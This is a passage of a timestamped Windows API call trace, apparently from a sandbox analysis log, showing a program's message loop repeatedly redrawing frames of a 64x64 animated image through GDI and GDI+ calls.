[0162.955] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0162.955] GdipCreateRegion (region=0x15d710) returned 0x0 [0162.955] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0162.955] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0162.955] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0162.955] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0162.956] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0162.956] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0162.956] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0162.956] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0162.956] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0162.956] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0162.957] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0162.957] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0162.957] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0162.957] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0162.957] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0162.957] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0162.957] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0162.957] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0162.957] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0162.957] GetCurrentObject (hdc=0x16010bae, type=0x1) returned 0x1b00017 [0162.958] GetCurrentObject (hdc=0x16010bae, type=0x2) returned 0x1900010 [0162.958] GetCurrentObject (hdc=0x16010bae, type=0x7) returned 0x1a05067e [0162.958] GetCurrentObject (hdc=0x16010bae, type=0x6) returned 0x18a002e [0162.958] SaveDC (hdc=0x16010bae) returned 1 [0162.958] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfffffffff9040b8a [0162.958] GetClipRgn (hdc=0x16010bae, hrgn=0xfffffffff9040b8a) returned 0 [0162.958] SelectClipRgn (hdc=0x16010bae, hrgn=0x290407c3) returned 2 [0162.958] DeleteObject (ho=0xfffffffff9040b8a) returned 1 [0162.958] DeleteObject (ho=0x290407c3) returned 1 [0162.958] OffsetViewportOrgEx (in: hdc=0x16010bae, x=0, y=0, lppt=0x2726fe0 | out: lppt=0x2726fe0) returned 1 [0162.958] GetNearestColor (hdc=0x16010bae, color=0xffffff) returned 0xffffff [0162.959] CreateSolidBrush (color=0xffffff) returned 0x1100190 [0162.959] FillRect (hDC=0x16010bae, lprc=0x15d7c0, hbr=0x1100190) returned 1 [0162.959] DeleteObject (ho=0x1100190) returned 1 [0162.959] RestoreDC (hdc=0x16010bae, nSavedDC=-1) returned 1 [0162.959] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0162.959] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x16010bae) returned 0x0 [0162.959] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbe40dbd) returned 0x0 [0162.959] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0162.959] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0162.959] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0162.959] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0162.959] GetSystemMetrics (nIndex=42) returned 0 [0162.960] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0162.960] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0162.960] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0162.960] CoTaskMemFree (pv=0x1e91eca0) [0162.960] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x16) returned 0x0 [0162.975] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0162.975] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0162.975] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0162.975] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0162.975] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x16010bae, x1=0, y1=0, rop=0xcc0020) returned 1 [0162.975] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0162.975] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x16010bae) returned 0x0 [0162.975] SelectObject (hdc=0x16010bae, h=0x185000f) returned 0x1a05067e [0162.976] DeleteDC (hdc=0x16010bae) returned 1 [0162.976] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0162.976] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0162.976] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0162.976] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0162.976] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0162.976] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0162.976] WaitMessage () returned 1 [0163.367] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0163.367] IsWindowUnicode (hWnd=0x2031e) returned 1 [0163.367] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0163.367] TranslateMessage (lpMsg=0x15e910) returned 0 [0163.367] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0163.368] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0163.368] GetCurrentThreadId () returned 0xec0 [0163.368] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0163.368] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0163.368] IsWindowUnicode (hWnd=0x2031e) returned 1 [0163.368] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0163.368] TranslateMessage (lpMsg=0x15e910) returned 0 [0163.368] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0163.368] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0163.368] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0163.368] CreateCompatibleDC (hdc=0x3010b83) returned 0x11010ba6 [0163.369] SelectObject (hdc=0x11010ba6, h=0x1a05067e) returned 0x185000f [0163.369] GdipCreateFromHDC (hdc=0x11010ba6, graphics=0x15daf0) returned 0x0 [0163.369] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0163.369] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0163.369] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0163.369] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0163.369] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0163.369] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0163.369] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0163.370] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0163.370] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0163.370] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0163.370] GdipCreateRegion (region=0x15dc20) returned 0x0 [0163.370] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0163.370] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0163.370] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0163.371] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0163.371] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0163.371] GetSystemMetrics (nIndex=42) returned 0 [0163.371] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0163.371] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0163.371] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0163.371] CoTaskMemFree (pv=0x1e91eca0) [0163.371] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0163.371] GdipCreateRegion (region=0x15d710) returned 0x0 [0163.371] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0163.371] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0163.371] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0163.371] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0163.371] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0163.372] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0163.372] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0163.372] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0163.372] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0163.372] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0163.373] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0163.373] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0163.373] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0163.373] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0163.373] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0163.373] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0163.373] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0163.373] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0163.373] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0163.373] GetCurrentObject (hdc=0x11010ba6, type=0x1) returned 0x1b00017 [0163.373] GetCurrentObject (hdc=0x11010ba6, type=0x2) returned 0x1900010 [0163.373] GetCurrentObject (hdc=0x11010ba6, type=0x7) returned 0x1a05067e [0163.373] GetCurrentObject (hdc=0x11010ba6, type=0x6) returned 0x18a002e [0163.373] SaveDC (hdc=0x11010ba6) returned 1 [0163.374] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2a0407c3 [0163.374] GetClipRgn (hdc=0x11010ba6, hrgn=0x2a0407c3) returned 0 [0163.374] SelectClipRgn (hdc=0x11010ba6, hrgn=0xfffffffffa040b8a) returned 2 [0163.374] DeleteObject (ho=0x2a0407c3) returned 1 [0163.374] DeleteObject (ho=0xfffffffffa040b8a) returned 1 [0163.374] OffsetViewportOrgEx (in: hdc=0x11010ba6, x=0, y=0, lppt=0x27282c0 | out: lppt=0x27282c0) returned 1 [0163.374] GetNearestColor (hdc=0x11010ba6, color=0xffffff) returned 0xffffff [0163.374] CreateSolidBrush (color=0xffffff) returned 0x2100190 [0163.374] FillRect (hDC=0x11010ba6, lprc=0x15d7c0, hbr=0x2100190) returned 1 [0163.374] DeleteObject (ho=0x2100190) returned 1 [0163.374] RestoreDC (hdc=0x11010ba6, nSavedDC=-1) returned 1 [0163.374] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0163.375] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x11010ba6) returned 0x0 [0163.375] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbe20dbd) returned 0x0 [0163.375] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0163.375] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0163.375] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0163.375] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0163.375] GetSystemMetrics (nIndex=42) returned 0 [0163.375] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0163.375] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0163.375] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0163.375] CoTaskMemFree (pv=0x1e91eca0) [0163.375] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0163.375] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0163.375] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0163.376] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0163.376] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x11010ba6, x1=0, y1=0, rop=0xcc0020) returned 1 [0163.376] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0163.376] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x11010ba6) returned 0x0 [0163.376] SelectObject (hdc=0x11010ba6, h=0x185000f) returned 0x1a05067e [0163.376] DeleteDC (hdc=0x11010ba6) returned 1 [0163.376] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0163.376] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0163.376] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0163.376] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0163.377] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0163.377] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0163.377] WaitMessage () returned 1 [0163.746] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0163.746] IsWindowUnicode (hWnd=0x2031e) returned 1 [0163.746] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0163.746] TranslateMessage (lpMsg=0x15e910) returned 0 [0163.746] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0163.747] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0163.747] GetCurrentThreadId () returned 0xec0 [0163.747] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0163.747] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0163.747] IsWindowUnicode (hWnd=0x2031e) returned 1 [0163.747] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0163.747] TranslateMessage (lpMsg=0x15e910) returned 0 [0163.747] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0163.747] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0163.747] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0163.748] CreateCompatibleDC (hdc=0x3010b83) returned 0x6010bb7 [0163.748] SelectObject (hdc=0x6010bb7, h=0x1a05067e) returned 0x185000f [0163.748] GdipCreateFromHDC (hdc=0x6010bb7, graphics=0x15daf0) returned 0x0 [0163.748] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0163.748] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0163.748] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0163.748] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0163.748] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0163.748] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0163.748] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0163.749] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0163.749] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0163.749] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0163.749] GdipCreateRegion (region=0x15dc20) returned 0x0 [0163.749] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0163.749] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0163.750] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0163.750] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0163.750] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0163.750] GetSystemMetrics (nIndex=42) returned 0 [0163.750] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0163.750] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0163.750] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0163.750] CoTaskMemFree (pv=0x1e91eca0) [0163.750] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0163.750] GdipCreateRegion (region=0x15d710) returned 0x0 [0163.750] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0163.750] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0163.750] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0163.751] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0163.751] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0163.751] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0163.751] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0163.751] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0163.751] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0163.751] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0163.752] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0163.752] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0163.752] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0163.752] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0163.752] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0163.752] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0163.752] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0163.752] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0163.752] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0163.753] GetCurrentObject (hdc=0x6010bb7, type=0x1) returned 0x1b00017 [0163.753] GetCurrentObject (hdc=0x6010bb7, type=0x2) returned 0x1900010 [0163.753] GetCurrentObject (hdc=0x6010bb7, type=0x7) returned 0x1a05067e [0163.753] GetCurrentObject (hdc=0x6010bb7, type=0x6) returned 0x18a002e [0163.753] SaveDC (hdc=0x6010bb7) returned 1 [0163.753] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfffffffffb040b8a [0163.753] GetClipRgn (hdc=0x6010bb7, hrgn=0xfffffffffb040b8a) returned 0 [0163.753] SelectClipRgn (hdc=0x6010bb7, hrgn=0x2b0407c3) returned 2 [0163.753] DeleteObject (ho=0xfffffffffb040b8a) returned 1 [0163.753] DeleteObject (ho=0x2b0407c3) returned 1 [0163.753] OffsetViewportOrgEx (in: hdc=0x6010bb7, x=0, y=0, lppt=0x2728bf8 | out: lppt=0x2728bf8) returned 1 [0163.753] GetNearestColor (hdc=0x6010bb7, color=0xffffff) returned 0xffffff [0163.754] CreateSolidBrush (color=0xffffff) returned 0x3100190 [0163.754] FillRect (hDC=0x6010bb7, lprc=0x15d7c0, hbr=0x3100190) returned 1 [0163.754] DeleteObject (ho=0x3100190) returned 1 [0163.754] RestoreDC (hdc=0x6010bb7, nSavedDC=-1) returned 1 [0163.754] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0163.754] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6010bb7) returned 0x0 [0163.754] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbe00dbd) returned 0x0 [0163.754] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0163.754] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0163.755] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0163.755] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0163.755] GetSystemMetrics (nIndex=42) returned 0 [0163.755] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0163.755] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0163.755] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0163.755] CoTaskMemFree (pv=0x1e91eca0) [0163.755] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x18) returned 0x0 [0163.757] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0163.757] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0163.758] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0163.758] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0163.758] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x6010bb7, x1=0, y1=0, rop=0xcc0020) returned 1 [0163.758] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0163.758] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6010bb7) returned 0x0 [0163.758] SelectObject (hdc=0x6010bb7, h=0x185000f) returned 0x1a05067e [0163.758] DeleteDC (hdc=0x6010bb7) returned 1 [0163.758] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0163.758] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0163.758] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0163.759] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0163.759] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0163.759] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0163.759] WaitMessage () returned 1 [0164.016] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0164.016] IsWindowUnicode (hWnd=0x2031e) returned 1 [0164.016] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0164.016] TranslateMessage (lpMsg=0x15e910) returned 0 [0164.016] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0164.016] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0164.016] GetCurrentThreadId () returned 0xec0 [0164.017] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0164.017] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0164.017] IsWindowUnicode (hWnd=0x2031e) returned 1 [0164.017] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0164.017] TranslateMessage (lpMsg=0x15e910) returned 0 [0164.017] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0164.017] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0164.017] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0164.017] CreateCompatibleDC (hdc=0x2d010b73) returned 0x1d010ba6 [0164.017] SelectObject (hdc=0x1d010ba6, h=0x1a05067e) returned 0x185000f [0164.018] GdipCreateFromHDC (hdc=0x1d010ba6, graphics=0x15daf0) returned 0x0 [0164.018] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0164.018] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0164.018] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0164.018] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0164.018] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0164.018] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0164.018] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0164.019] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0164.019] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0164.019] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0164.019] GdipCreateRegion (region=0x15dc20) returned 0x0 [0164.019] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0164.019] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0164.019] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0164.019] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0164.019] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 